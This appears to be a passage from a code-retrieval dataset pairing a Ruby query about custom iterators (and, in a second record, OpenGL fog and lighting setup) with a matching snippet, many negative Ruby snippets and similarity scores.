"0.54336375",
"0.5429699",
"0.5424324",
"0.53852206",
"0.5366863",
"0.53606796",
"0.5357604",
"0.53399485",
"0.53397787",
"0.53391117",
"0.5338656",
"0.5338656",
"0.5338656",
"0.5338656",
"0.5338656",
"0.5338656",
"0.5338656",
"0.5338656",
"0.5338656",
"0.5338656",
"0.5338656",
"0.5338656",
"0.5338656",
"0.5338656",
"0.5338656",
"0.5338656",
"0.5338656",
"0.5338656",
"0.5338656",
"0.5338656",
"0.53380543",
"0.5319778",
"0.5313315",
"0.5313315",
"0.5290868",
"0.5287466",
"0.5280052",
"0.52647924",
"0.5249421",
"0.5249421",
"0.5249421",
"0.52245307",
"0.5222818",
"0.5218162",
"0.52039504",
"0.5198469",
"0.5189158",
"0.5185203",
"0.51850855",
"0.51850855",
"0.51850855",
"0.51833904",
"0.5182785",
"0.51786196",
"0.5173502",
"0.516247",
"0.51432115",
"0.51432115",
"0.5139234",
"0.5138776",
"0.51328784",
"0.5127228",
"0.5124006",
"0.5124006",
"0.51225275",
"0.51116925",
"0.51105905",
"0.50949085",
"0.50949085",
"0.5090488",
"0.5084529",
"0.5084529",
"0.50814635",
"0.50814635",
"0.50814635",
"0.5050896",
"0.5049341",
"0.5046106",
"0.50459254",
"0.50393707",
"0.5038644"
] |
0.7577958
|
1
|
alternative way of doing it def my_upto num arr = Array(self..num) p arr arr.each do |i| yield i end end
|
def my_times
for i in 1..self
yield
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def upto(limit)\n return enum_for(:upto, limit) unless block_given?\n\n (self..limit).each { |fy| yield fy }\n end",
"def each a\n\ti = 0\n\tuntil i == a.size\n\t\tyield a[i]\n\t\ti += 1\n\tend\n\ta\nend",
"def custom_each(array)\r\n i = 0 \r\n while i < array.length \r\n yield array[i]\r\n i += 1\r\n end\r\nend",
"def each_number_to( number )\r\n\r\n index = 0\r\n while index < number\r\n yield(index)\r\n index += 1\r\n end\r\n\r\nend",
"def custom_each(array)\n i = 0\n while i < array.length\n yield array[i]\n i += 1\n end\nend",
"def my_each\n return to_enum unless block_given?\n\n i = 0\n arr = to_a\n while i <= arr.length - 1\n yield (arr[i])\n i += 1\n end\n self\nend",
"def my_each(array) \n n = 0\n while n < array.length \n yield(array[n])\n n = n + 1 \n end\n array\nend",
"def my_each_with_index\n if block_given?\n for i in 0.upto(self.length-1)\n yield self[i], i\n end\n else\n self.to_enum\n end\n end",
"def my_each_with_index\n i = 0\n while i < self.to_a.length\n yield self.to_a[i], i\n i += 1\n end\n end",
"def my_each(arr)\n array = []\n n = 0\n while n < arr.length\n yield(arr[n])\n array << arr[n]\n n += 1\n end\n array\nend",
"def my_each(array)\n i = 0\n while i < array.length\n yield array[i]\n i += 1\n end\n array\nend",
"def each(arr)\n counter = 0\n \n while counter < arr.length\n yield(arr[counter])\n counter += 1\n end\n \n arr\nend",
"def for_each_element(arr)\n index = 0\n total = arr.size\n\n while index < total\n yield(arr[index])\n index += 1\n end\nend",
"def my_each_with_index\n return to_enum unless block_given?\n\n i = 0\n while i < size\n yield(self[i], i)\n i += 1\n end\n self\n end",
"def custom_each(array)\n i = 0\n while i < array.length\n #yield will pass this element to the block\n yield array[i] #each and single element of array iterate\n i += 1 #to stop infinite loop\n end\nend",
"def my_each_with_index\n return to_enum unless block_given?\n\n i = 0\n while i < length\n yield(self[i], i)\n i += 1\n end\n end",
"def each(arr)\n ndx = 0\n while ndx < arr.size do\n yield(arr[ndx])\n ndx += 1\n end\n arr\nend",
"def my_each(array) # put argument(s) here\n i = 0\n\n while i < array.length\n yield array[i]\n i += 1\n end\n array\nend",
"def my_each(array)\n if block_given?\n i = 0\n while i < array.length\n yield array[i]\n i = i + 1\n end\n array\n end\nend",
"def each\n 0.upto(item_count - 1) { | i | yield i }\n end",
"def my_each_with_index\n for i in 0..self.length-1\n yield(self[i], i) if block_given?\n end\n self\n end",
"def my_each_with_index\n i = 0\n while i < self.size\n yield self[i], i\n i += 1\n end\n end",
"def my_each(array)\n i = 0\n while i < array.length\n yield(array[i])\n array[i]\n i += 1\n end\n array\nend",
"def my_each_with_index\n i = 0\n while i < self.length\n yield self[i], i\n i += 1\n end\n self\n end",
"def my_each_with_index\n i = 0\n while i < self.length\n yield(self[i], i)\n i += 1\n end\n self\n end",
"def my_each_with_index\n i = 0\n while i < self.size\n yield(self[i], i)\n i += 1\n end\n self\n end",
"def my_custom_while_with_range_op(the_max, the_increment)\n numbers = []\n (0..the_max).step(the_increment).each do |i|\n puts \"At the top i is #{i}\"\n numbers.push(i)\n i += the_increment\n puts \"Numbers now: \", numbers\n puts \"At the bottom i is #{i}\"\n end\n return numbers\nend",
"def my_each_with_index\n return to_enum unless block_given?\n i = 0\n array = []\n while i < size\n yield to_a[i], i\n array << to_a[i]\n i += 1\n end\n array\n end",
"def my_each(array)\n\t\t#array = []\n\t\tindex = 0\n\t\twhile index < array.length\n\t\t\tyield(array[index])\n\t\t\tindex += 1\n\t\tend\n\t\treturn array\n\tend",
"def each(array)\n counter = 0\n while counter < array.size do\n yield(array[counter])\n counter += 1\n end\n array\nend",
"def each\n (0...size).each {|i| yield(self[i])}\n nil\n end",
"def my_inject(arg = 0)\n self.my_each do |n|\n arg = (yield arg, n)\n end\n arg\n end",
"def basic_10 (array_iterate)\n array_iterate.collect! { |n| n < 0 ? n = 0 : n }\n return array_iterate\nend",
"def my_each_with_index\n i = 0\n while i < size\n yield(self[i], i)\n i += 1\n end\n self\n end",
"def each(array)\n idx = 0\n while idx < array.size\n yield(array[idx]) if block_given?\n idx += 1\n end\n\n array\nend",
"def my_each_with_index\n return to_enum unless block_given?\n\n index = 0\n my_each do |value|\n yield(value, index)\n index += 1\n end\n end",
"def countup(num)\n (1..num).to_a\nend",
"def each(arr)\n # set index value, beginning with the first element at 0\n i = 0\n # while the current index value still exists in the array, run the block of code, stored in yield, on each index, then increase the index value by 1 until the end of the array\n while i < arr.length\n yield(arr[i])\n i += 1\n end\nend",
"def each(array)\n index = 0\n\n while index < array.size\n element = array[index]\n yield element\n index += 1\n end\n \n array\nend",
"def my_each(array)\n if block_given?\n counter = 0\n while counter < array.length\n yield (array[counter])\n counter += 1\n end\n array\n else\n puts \"No block given\"\n end\nend",
"def my_collect(array)\n new_array = []\n # if array.size == 0\n # return 0\n # else\n counter = 0\n while counter < array.length\n new_array << yield(array[counter])\n counter += 1\n end\n \n new_array\nend",
"def each\n unless @array.empty?\n @array.size.times do |i|\n yield @array[i]\n end\n end\n end",
"def my_inject(num = 0)\n result = num\n self.my_each do |item|\n result = yield(result, item)\n end\n result\n end",
"def each_index(&block)\n return enum_for(:each_index) unless block_given?\n 0.upto(size-1, &block)\n self\n end",
"def sequence(num)\n\n results = []\n\n 1.upto(num) { |num| results << num }\n\n results\n\nend",
"def each_method(array)\n i = 0\n while i< array.length\n yield array[i]\n i +=1\n end\nend",
"def append3(ary, n)\n n.downto(0) { |n| ary << n }\n ary\n #5.downto(1) { |n| ary << n }\nend",
"def sequence(num)\r\n new_arr = []\r\n (1..num).step(1) { |n| new_arr << n }\r\n new_arr\r\nend",
"def my_each_with_index\n \ti = 0\n \twhile i < self.length\n \t\tif block_given?\n \t\t\tyield(self[i], i)\n \t\telse\n \t\t\treturn self\n \t\tend\n \t\ti +=1\n \tend\n \tself\n end",
"def my_each_with_index\n\t\tself.length.times do |index|\n\t\t\tyield(self[index], index)\n\t\tend\n\tend",
"def yield_with_each(array, &block)\n array.each { |i| yield i }\nend",
"def each_with_index(arr)\n arr.size.times do |i|\n yield(arr[i], i)\n end\n arr\nend",
"def each_cons(n)\n # Your code goes here.\n end",
"def each(&block)\n unless block_given?\n return ArrayEnumerator.new(self, :each ) # for 1.8.7\n end\n i = 0\n lim = self.__size\n while i < lim\n block.call(self.__at(i))\n i += 1\n end\n self\n end",
"def my_each_with_index\n for i in 0...self.length do\n yield(self[i], i)\n end\n return self\n end",
"def sequence(num)\n arr = []\n 1.upto(num) { |n| arr << n }\n arr\nend",
"def my_each_with_index\n a = (is_a? Hash) ? to_a : self\n i = 0\n while i < a.count\n yield a[i], i\n i += 1\n end\n end",
"def each\n @arr.each do |n|\n yield(n)\n end\n end",
"def each\n if block_given?\n (0...Count()).each { |i| yield self[i] }\n else\n (0...Count()).map { |i| self[i] }\n end\n end",
"def each()\n i = 0\n while i < @total\n yield at(i)\n i += 1\n end\n self\n end",
"def each_cons(arr, num_cons_elems)\n num_yields = arr.size - num_cons_elems + 1\n puts \"arr.size = #{arr.size} num_cons_elems = #{num_cons_elems} num_yields = #{num_yields}\"\n num_yields.times do |index|\n p *arr[index..(index + num_cons_elems - 1)]\n yield(*arr[index..(index + num_cons_elems - 1)])\n index += 1\n end\n nil\nend",
"def multiples_of(number, upTo)\n result = Array.new\n (0..upTo).step(number) do |n|\n result << n\n end\n puts result.inspect\n result\nend",
"def each\r\n res = self.to_a\r\n 0.upto(res.length - 1) do |x|\r\n yield res[x]\r\n end\r\n end",
"def my_collect(array, &block)\nnew_array = []\ncounter =0\nif block_given?\nwhile counter < array.length\n new_array[counter] = yield(array[counter])\n counter +=1\nend\nreturn new_array\nelse \n return self.to_enum\nend\nend",
"def reduce(arr, accum=0)\n counter = 0\n\n while counter < arr.size\n accum = yield(accum, arr[counter])\n counter += 1\n end\n\n accum\nend",
"def my_array(array,&block)\n ret = []\n array.each do |n|\n ret << block.call(n) # ret << n * 10\n end\n ret\nend",
"def range(arr)\n\nend",
"def sequence(num)\n arr = []\n \n 1.upto(num) do |i|\n arr << i\n end\n\n arr\nend",
"def each_plus_one(array)\n array.map { |number|\n number += 1\n }\nend",
"def my_inject(default = nil)\n # if no initial value given then\n default ? total = default : total = self[0]\n for i in 1..self.length\n total = yield(total, i)\n end\n total\n end",
"def infinite_iterator(array)\n Enumerator.new do |result|\n loop do\n array.cycle { |item| result << item }\n end\n end\nend",
"def count_up(number)\n (1..number).to_a\nend",
"def each_missing(num, &block)\n if (num.is_a? Range) then\n num.each { |n| each_missing(n, &block) }\n return\n end\n\n if (num.is_a? Array) then\n num.each { |n| each_missing(n, &block) }\n return\n end\n\n if (!num.is_a?Integer) then\n raise \"each_missing: num argument must be an Integer, Array of Integers, or Range. num=#{num.inspect} which is a #{num.class}\"\n end\n\n if (num==0) then\n yield self\n return\n end\n\n if (num > self.size) then\n return\n end\n\n each_index do |index|\n before_first_missing = self[0,index]\n #after_first_missing = self[index+1,size]\n self[index+1,size].each_missing(num-1) do |subset|\n yield before_first_missing+subset\n end\n end\n end",
"def my_each(array)\n i = 0\n while i < array.length\n# The \"while\" method will always return a value of => nil\"\n yield(array[i])\n i = i + 1\n end\nend",
"def each *args, &block\n (min_limit..max_limit).each(&block)\n end",
"def each\n return to_enum :each unless block_given?\n 0.upto(size-1) { |i| yield self[i] }\n self\n end",
"def each\n return to_enum :each unless block_given?\n 0.upto(size-1) { |i| yield self[i] }\n self\n end",
"def reduce(array, default=array[0])\n counter = 1\n accumulator = default\n\n while counter < array.size\n accumulator = yield(accumulator, array[counter])\n counter += 1\n end\n\n accumulator\nend",
"def each\n i = 0\n while i < 2\n yield self[i]\n i += 1\n end\n end",
"def sequence(count, num)\n result = 0\n Array.new(count).map {|_| result += num }\nend",
"def sequence2(num)\n arr = []\n \n 1.upto(num) do |n|\n arr << n\n end\n arr\nend",
"def my_inject(value = nil)\n if value == nil\n value = self[0]\n self.my_each_with_index do |elem, i|\n next if i == 0\n value = yield(value, elem)\n end\n value\n else\n self.my_each do |elem|\n value = yield(value, elem)\n end\n value\n end\n end",
"def upto(max, &block)\n step(max, +1, &block)\n end",
"def each(&block)\n @succ.each(&block)\n end",
"def step(from, to, step)\n current_num = from\n range = []\n while current_num <= to\n range << current_num\n current_num += step\n end\n range.each { |num| yield(num) }\nend",
"def hello_t(array)\n i = 0\n\n while i < array.length\n yield(array[i])\n i = i + 1\n end\n\n array\nend",
"def my_collect(array)\ni = 0\n\nnewArray = []\nwhile i < array.length\n\n newArray.push(yield array[i])\n i = i + 1\nend\nnewArray\nend",
"def sequence(int)\n array = []\n 1.upto(int) do |num|\n array << num\n end\n array\nend",
"def count_to(num)\n\tnum > 0 ? (0..num).to_a : 0.downto(num).to_a\nend",
"def reduce(array, default_value=0)\n counter = 0\n accumulator = default_value\n while counter < array.length\n accumulator = yield(accumulator, array[counter])\n counter += 1\n end\n accumulator\nend",
"def my_each(array)\n if block_given?\n i = 0\n \n while i < array.length \n yield array[i] \n i = i + 1 \n end\n \n array\n else\n return \"Hey! No block was given!\"\n end\nend",
"def each_cons(array)\n iterations = array.size - 1\n iterations.times do |index| \n yield(array[index], array[index + 1])\n end\n nil\nend",
"def yield_with_while_loop(array, &block)\n i = 0\n while i < array.length\n block.call(array[i])\n#yield array[i]\ni+=1\nend\nend",
"def each\n self[0..-1].each { |o| yield o }\n end",
"def each(&blk)\n (0..@size-1).each { |i| blk.call(self.[](i)) }\n end",
"def reduce(arr, acc = 0)\n count = 0\n\n while count < arr.size\n acc = yield(acc, arr[count])\n count += 1\n end\n\n acc\nend",
"def yield_with_while_loop(array, &block)\n i = 0\n while i < array.length\n yield array[i]\n i += 1\n end\nend",
"def sequence3(number)\n array = []\n 1.upto(number) { |num| array << num }\n array\nend",
"def each(&block)\n i = @elements.length - 1\n while i >= 0\n yield @elements[i]\n i -= 1\n end\n end",
"def hello(array)\n i = 0\n collection = []\n while i < array.length\n collection << yield(array[i])\n i += 1\n end\n collection\nend",
"def hello(array)\n i = 0\n collection = []\n while i < array.length\n collection << yield(array[i])\n i += 1\n end\n collection\nend"
] |
[
"0.7006084",
"0.69655603",
"0.69655186",
"0.6944069",
"0.69089025",
"0.6842564",
"0.6803425",
"0.67432564",
"0.67264205",
"0.67181623",
"0.6704803",
"0.66436344",
"0.66346496",
"0.6602095",
"0.66007334",
"0.6593199",
"0.6543565",
"0.65407604",
"0.6530602",
"0.6530405",
"0.65249276",
"0.65175766",
"0.6493184",
"0.6479964",
"0.6440492",
"0.6440373",
"0.64329714",
"0.6425027",
"0.64080465",
"0.6405826",
"0.64005834",
"0.6398954",
"0.638877",
"0.6386232",
"0.63675815",
"0.63149786",
"0.627383",
"0.62737674",
"0.6258848",
"0.6257007",
"0.6248064",
"0.6215976",
"0.62131953",
"0.6203698",
"0.62023354",
"0.61974716",
"0.61693174",
"0.6168204",
"0.61591536",
"0.6155644",
"0.6149153",
"0.61421776",
"0.6139454",
"0.6135699",
"0.6135116",
"0.613041",
"0.6129696",
"0.6123813",
"0.61201704",
"0.6106997",
"0.6099862",
"0.6099337",
"0.6096661",
"0.60945994",
"0.60884035",
"0.60876673",
"0.6081227",
"0.6074245",
"0.6072484",
"0.60666597",
"0.6064507",
"0.6061738",
"0.6047026",
"0.60402465",
"0.60396683",
"0.603191",
"0.603191",
"0.60295373",
"0.6029005",
"0.6026588",
"0.60248774",
"0.60196906",
"0.6017029",
"0.60012025",
"0.5977215",
"0.5977116",
"0.59763885",
"0.5975574",
"0.5975147",
"0.59731555",
"0.5969818",
"0.5968779",
"0.59618187",
"0.5957015",
"0.5951773",
"0.59460914",
"0.59412265",
"0.59301937",
"0.5930191",
"0.5920533",
"0.5920533"
] |
0.0
|
-1
|
/ Initialize zbuffer, projection matrix, light source, and lighting model. Do not specify a material property here.
|
def myinit
position = [0.0, 3.0, 3.0, 0.0];
local_view = [0.0];
GL.Enable(GL::DEPTH_TEST);
GL.DepthFunc(GL::LESS);
GL.Light(GL::LIGHT0, GL::POSITION, position);
GL.LightModel(GL::LIGHT_MODEL_LOCAL_VIEWER, local_view);
GL.FrontFace(GL::CW);
GL.Enable(GL::LIGHTING);
GL.Enable(GL::LIGHT0);
GL.Enable(GL::AUTO_NORMAL);
GL.Enable(GL::NORMALIZE);
GL.Enable(GL::FOG);
fogColor = [0.5, 0.5, 0.5, 1.0];
fogMode = GL::EXP;
GL.Fog(GL::FOG_MODE, fogMode);
GL.Fog(GL::FOG_COLOR, fogColor);
GL.Fog(GL::FOG_DENSITY, 0.35);
GL.Hint(GL::FOG_HINT, GL::DONT_CARE);
GL.ClearColor(0.5, 0.5, 0.5, 1.0);
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def init\n mat_specular = [ 1.0, 1.0, 1.0, 1.0 ];\n light_position = [ 1.0, 1.0, 1.0, 0.0 ];\n\n GL.ClearColor(0.0, 0.0, 0.0, 0.0);\n GL.ShadeModel(GL::SMOOTH);\n GL.Enable(GL::DEPTH_TEST);\n GL.Material(GL::FRONT, GL::DIFFUSE, $diffuseMaterial);\n GL.Material(GL::FRONT, GL::SPECULAR, mat_specular);\n GL.Material(GL::FRONT, GL::SHININESS, 25.0);\n GL.Light(GL::LIGHT0, GL::POSITION, light_position);\n GL.Enable(GL::LIGHTING);\n GL.Enable(GL::LIGHT0);\n\n GL.ColorMaterial(GL::FRONT, GL::DIFFUSE);\n GL.Enable(GL::COLOR_MATERIAL);\nend",
"def initMaterials\n @wall_mat = Material.new(assetManager, 'Common/MatDefs/Misc/Unshaded.j3md')\n key = TextureKey.new('Textures/Terrain/BrickWall/BrickWall.jpg')\n key.setGenerateMips(true)\n tex = assetManager.loadTexture(key)\n @wall_mat.setTexture('ColorMap', tex)\n\n @stone_mat = Material.new(assetManager, 'Common/MatDefs/Misc/Unshaded.j3md')\n key2 = TextureKey.new('Textures/Terrain/Rock/Rock.PNG')\n key2.setGenerateMips(true)\n tex2 = assetManager.loadTexture(key2)\n @stone_mat.setTexture('ColorMap', tex2)\n\n @floor_mat = Material.new(assetManager, 'Common/MatDefs/Misc/Unshaded.j3md')\n key3 = TextureKey.new('Textures/Terrain/Pond/Pond.jpg')\n key3.setGenerateMips(true)\n tex3 = assetManager.loadTexture(key3)\n tex3.setWrap(WrapMode::Repeat)\n @floor_mat.setTexture('ColorMap', tex3)\n end",
"def init\n GL.ClearColor(0.0, 0.1, 0.2, 0.0)\n GL.ShadeModel(GL::SMOOTH)\n\n GL.Enable(GL::LIGHTING)\n GL.Enable(GL::LIGHT0)\n GL.Enable(GL::BLEND)\n GL.Enable(GL::NORMALIZE)\n\n GL::DepthFunc(GL::LESS);\n GL::ShadeModel(GL::SMOOTH);\n GL::BlendFunc(GL::ONE, GL::ONE)\n\n lm_ambient = [ 0.2, 0.2, 0.2, 0.0 ];\n\n GL.Light(GL::LIGHT0, GL::POSITION, [4, 4, 4])\n GL.Light(GL::LIGHT0, GL::POSITION, [-2, 6, 3])\n #GL::LightModel(GL::LIGHT_MODEL_AMBIENT, lm_ambient);\n GL::LightModel(GL::LIGHT_MODEL_TWO_SIDE, 2);\n\n $ruby = RubyRuby.new\n GL::NewList($rubyList, GL::COMPILE)\n $ruby.render\n GL::EndList()\nend",
"def init_vertex_buffers\n\t\t#vao_id = GL30.gl_gen_vertex_arrays\n\t\t#GL30.gl_bind_vertex_array(vao_id)\n\n\t\t@buffer_id = GL15.gl_gen_buffers\n\t\tGL15.gl_bind_buffer(GL15::GL_ARRAY_BUFFER, @buffer_id)\n\n\t\tfloat_buffer = BufferUtils.create_float_buffer(@vertex_positions.size)\n\t\tfloat_buffer.put(@vertex_positions.to_java(:float))\n\n\t\t#MUST FLIP THE BUFFER! THIS PUTS IT BACK TO THE BEGINNING!\n\t\tfloat_buffer.flip\n\n\t\tGL15.gl_buffer_data(GL15::GL_ARRAY_BUFFER, float_buffer, GL15::GL_STATIC_DRAW)\n\n\t\t# cleanup\n\t\tGL15.gl_bind_buffer(GL15::GL_ARRAY_BUFFER, 0)\n\t\t#GL30.gl_bind_vertex_array(0)\n\tend",
"def prepareOpenGL\n\n\t\tglEnable(GL_DEPTH_TEST)\n\n\t\tglShadeModel(GL_SMOOTH)\n\t\tglEnable(GL_CULL_FACE)\n\t\tglFrontFace(GL_CCW)\n\t\tglPolygonOffset (1.0, 1.0)\n\t\n\t\tglClearColor(0.0, 0.0, 0.0, 0.0)\n\n\tend",
"def setup\n OpenGL.reset_flags\n end",
"def initFloor\n floor_geo = Geometry.new('Floor', @@floor)\n floor_geo.setMaterial(@floor_mat)\n floor_geo.setLocalTranslation(0, -0.1, 0)\n self.rootNode.attachChild(floor_geo)\n #Make the floor physical with mass 0.0f! */\n @floor_phy = RigidBodyControl.new(0.0)\n floor_geo.addControl(@floor_phy)\n @bulletAppState.getPhysicsSpace().add(@floor_phy)\n end",
"def initialize\n\t\t@id = glCreateProgram\n\t\t@shaders = []\n\t\t@linked = false\n\tend",
"def InitGL(width, height) # We call this right after our OpenGL window \n return false unless load_gl_textures() # If Texture Didn't Load Return FALSE \n glEnable(GL_TEXTURE_2D)\t\t\t\t\t\t\t# Enable Texture Mapping\n glShadeModel(GL_SMOOTH)\t\t\t\t\t\t\t# Enable Smooth Shading\n glClearColor(0.0, 0.0, 0.0, 0.5)\t\t\t\t# Black Background\n glClearDepth(1.0)\t\t\t\t\t\t\t\t\t# Depth Buer Setup\n glEnable(GL_DEPTH_TEST)\t\t\t\t\t\t\t# Enables Depth Testing\n glDepthFunc(GL_LEQUAL)\t\t\t\t\t\t\t\t# The Type Of Depth Testing To Do\n glHint(GL_PERSPECTIVE_CORRECTION_HINT, GL_NICEST)\t# Really Nice Perspective Calculations\n\n glLightfv(GL_LIGHT1, GL_AMBIENT, $LightAmbient)\t\t# Setup The Ambient Light\n glLightfv(GL_LIGHT1, GL_DIFFUSE, $LightDiffuse)\t\t# Setup The Diffuse Light\n glLightfv(GL_LIGHT1, GL_POSITION,$LightPosition)\t# Position The Light\n glEnable(GL_LIGHT1)\t\t\t\t\t\t\t\t# Enable Light One\n glColor4f(1.0, 1.0, 1.0, 0.5) # Full Brightness 50% alpha\n glBlendFunc(GL_SRC_ALPHA,GL_ONE)\n return true # Initialization Went OK\nend",
"def InitGL(width, height) # We call this right after our OpenGL window \n # is created.\n\n GL.ClearColor(0.0, 0.0, 0.0, 0.0) # This Will Clear The Background \n # Color To Black\n GL.ClearDepth(1.0) # Enables Clearing Of The Depth Buffer\n GL.DepthFunc(GL::LESS) # The Type Of Depth Test To Do\n GL.Enable(GL::DEPTH_TEST) # Enables Depth Testing\n GL.ShadeModel(GL::SMOOTH) # Enables Smooth Color Shading\n GL.MatrixMode(GL::PROJECTION)\n GL.LoadIdentity() # Reset The Projection Matrix\n GLU.Perspective(45.0,Float(width)/Float(height),0.1,100.0) # Calculate The Aspect Ratio \n # Of The Window\n GL.MatrixMode(GL::MODELVIEW)\nend",
"def myinit\r\n fogColor = [0.0, 0.0, 0.0, 1.0];\r\n\r\n GL.Enable(GL::FOG);\r\n GL.Fog(GL::FOG_MODE, GL::LINEAR);\r\n GL.Hint(GL::FOG_HINT, GL::NICEST); #/* per pixel */\r\n GL.Fog(GL::FOG_START, 3.0);\r\n GL.Fog(GL::FOG_END, 5.0);\r\n GL.Fog(GL::FOG_COLOR, fogColor);\r\n GL.ClearColor(0.0, 0.0, 0.0, 1.0);\r\n\r\n GL.DepthFunc(GL::LESS);\r\n GL.Enable(GL::DEPTH_TEST);\r\n GL.ShadeModel(GL::FLAT);\r\nend",
"def initialize_lights\n @lights.push(Light.new(self, 90, 8))\n @lights.push(RotatingFrontLight.new(self, 90, 0))\n @lights.push(Light.new(self, 90, -8))\n end",
"def initialize(cell: , camera_info: {}, environments: DEFAULT_ENVIRONMENTS)\n @camera = CrystalCell::Povray::Camera.new(camera_info)\n @environments = environments\n @cell = cell.to_povcell\n @axes = nil\n @objects = []\n\n ## @camera.look_at\n center = Mageo::Vector3D[0.0, 0.0, 0.0]\n @cell.axes.each { |axis| center += axis.to_v3d * 0.5 }\n @camera.look_at = center\n end",
"def initialize\r\n\t\t$state=self\r\n\t\treset\r\n @removed=[]\r\n @lights=[]\r\n @camera=Camera.new($screen.width/2,$screen.height/2) #default camera ; variable can't be empty\r\n @dark=Ashton::WindowBuffer.new\r\n \r\n $enable_gui=true #enable using GUI\r\n \r\n @window=GUI::Window.new(0,0,160,240,\"Properites\",#create window, below are objects\r\n [:text,\"Type\",0,0],#the :text is one of customisations, it just shows text\r\n [:text,\"X position\",0,50],\r\n [:text,\"Y position\",0,100],\r\n [:text,\"Scale\",0,150],\r\n [:text,\"Red\",0,205],\r\n [:object,:type,GUI::Dropdown.new(20,25,\"Square\",\"Circle\",\"Triangle\")],#to make another GUI element into window, use :object, give it name and the last thing is this object. Object's position will be relative to GUI window, not absolute.\r\n [:object,:pos_x,GUI::Number.new(20,75,0,640)],\r\n [:object,:pos_y,GUI::Number.new(20,125,0,480)],\r\n [:object,:scale,GUI::Zip.new(20,190,30,4)],\r\n [:object,:red,GUI::Check.new(40,205)]\r\n )\r\n @window.disabled=true #make window invisible\r\n \r\n @new=GUI::Button.new(0,456,\"Add shape\") #make a maker-button\r\n end",
"def initialize\n super(RESOLUTION[0], RESOLUTION[1], {:update_interval => UP_MS_DRAW, :fullscreen => ISFULLSCREEN})\n $program = self # global pointer to window creation object\n controls_init # prep the input controls scheme manager\n gl_version = glGetString(GL_VERSION).to_s\n gl_version = gl_version.split(' ')\n @openGL_version = Gem::Version.new(gl_version[0])\n puts(\"Using OpenGL version: #{@openGL_version} On a #{gl_version[1]} Driver Version: #{gl_version[2]}\")\n puts(\"*\" * 70)\n @@active_state = Map.new( { :level => \"\" } )\n end",
"def initialize(x = 0, y = 0, z = 0)\n @x, @y, @z = x, y, z\n end",
"def mat_window=(window); @materials_window = window; end",
"def setup\n size 1024,768,P3D\n background 0\n\n @context = SimpleOpenNI.new(self)\n @zoomF =0.5\n @rotX = radians(180) # by default rotate the hole scene 180deg around the x-axis, \n # the data from openni comes upside down\n @rotY = radians(0)\n\n if !@context.isInit\n puts \"Can't init SimpleOpenNI, maybe the camera is not connected!\"\n exit\n end\n\n # disable mirror\n @context.setMirror(false)\n\n # enable depthMap generation \n @context.enableDepth()\n\n # enable skeleton generation for all joints\n @context.enableUser()\n\n stroke(255,255,255)\n smooth()\nend",
"def initialize(options = {})\n super(options)\n @obj_filename = options[:filename] || \"\"\n @texture_file = options[:texture] || @obj_filename # eventually will tie into the load module.\n @texture_debugging = TEXTURE_DEBUG || options[:debug_draw] # skip drawing texture, use defualt mat white.\n #---------------------------------------------------------\n @object_name = '' # Is there an object name provided from .obj file or one set to this Ruby Object?\n @face_count = 0 # how many faces the object has.\n @object_model = nil # container that holds onto the wavefront 3d object data.\n @texture_resource = nil # A string or array that contains the name of textures used when drawing the .obj\n # debug printing of information, time between update posts for string creation.\n @time_between_debug_prints = 0\n @hud_font = Gosu::Font.new(22) # Gosu::Font container\n @string = \"\" # container for HUD information\n # try loading a source .obj file\n success = load_obj_file() rescue nil\n if success.nil?\n # there was an issue that was reported that resulted in a fail loading.\n puts(\"issue with object loading (#{@obj_filename})\")\n puts(\"-\" * 70)\n self.destroy # mark for map clean up/ removal\n return nil\n else\n if @verbose\n puts(\"-\" * 70)\n puts(\"Initializing new OpenGL 3D object... #{self}\")\n end\n end\n # speak if asked.\n if @verbose\n puts(\"New 3D object created from: \\\"#{@object_name}.obj\\\"\")\n puts(\"-\" * 70)\n end\n #@scale = 1.0 # scale the whole object.\n end",
"def init(character)\r\n @character = character\r\n dispose_shadow\r\n @bush_depth_sprite.visible = false\r\n @bush_depth = 0\r\n init_add_z_shadow\r\n init_zoom\r\n @tile_id = 0\r\n @character_name = nil\r\n @pattern = 0\r\n @direction = 0\r\n update\r\n end",
"def init_shaders(widget)\n context = widget.context\n\n if context.use_es?\n vertex_path = \"/glarea/glarea-gles.vs.glsl\"\n fragment_path = \"/glarea/glarea-gles.fs.glsl\"\n else\n vertex_path = \"/glarea/glarea-gl.vs.glsl\"\n fragment_path = \"/glarea/glarea-gl.fs.glsl\"\n end\n src_vertex = Gio::Resources.lookup_data(vertex_path, 0)\n src_fragment = Gio::Resources.lookup_data(fragment_path, 0)\n vertex = create_shader(GL_VERTEX_SHADER, src_vertex)\n return [0, nil] if vertex.zero?\n fragment = create_shader(GL_FRAGMENT_SHADER, src_fragment)\n return [0, nil] if fragment.zero?\n\n program = glCreateProgram\n glAttachShader(program, vertex)\n glAttachShader(program, fragment)\n glLinkProgram(program)\n # Check if the program is valid\n linked_buf = \" \"\n glGetProgramiv(program, GL_LINK_STATUS, linked_buf)\n status = linked_buf.unpack(\"L\")[0]\n if status.zero?\n log_len = \" \"\n glGetShaderiv(program, GL_INFO_LOG_LENGTH, log_len)\n len = log_len.unpack(\"L\")[0]\n info_log = \" \" * (len + 1)\n glGetProgramInfoLog(program, len, nil, info_log)\n STDERR.puts \"Linking failure:\\n#{info_log}\\n\"\n glDeleteProgram(program)\n glDeleteShader(vertex)\n glDeleteShader(fragment)\n program = 0\n end\n mvp = glGetUniformLocation(program, \"mvp\")\n [program, mvp]\n end",
"def initialize texture_size = [512,512]\n @texture_size = texture_size\n @texture = Array.new(@texture_size[0]) { Array.new(@texture_size[1]) { Array.new(3){1} } }\n @windows = [@texture_size[0]/8, @texture_size[1]/8]\n @texture_link = [0]\n \n @windows[0].times do |i|\n @windows[1].times do |j|\n px_origin = i*8\n py_origin = j*8\n # Got a little 8x8 window with pixel coords starting in px/py origin being topleft corner of window\n \n # Walls\n 8.times do |x|\n @texture[px_origin + x][py_origin] = [0,0,0]\n @texture[px_origin + x][py_origin+7] = [0,0,0]\n @texture[px_origin][py_origin + x] = [0,0,0]\n @texture[px_origin + 7][py_origin + x] = [0,0,0]\n end\n \n # Inside color, either mostly on or mostly off\n if rand > DARK_TO_LIGHT_RATIO\n cr = rand/4.0\n else\n cr = 3.0/4 + rand/4.0\n end\n c = [cr,cr,cr]\n \n # Inside\n 6.times do |x|\n 6.times do |y|\n px = px_origin + 1 + x\n py = py_origin + 1 + y\n \n @texture[px][py] = c\n end\n end \n end\n end\n \n 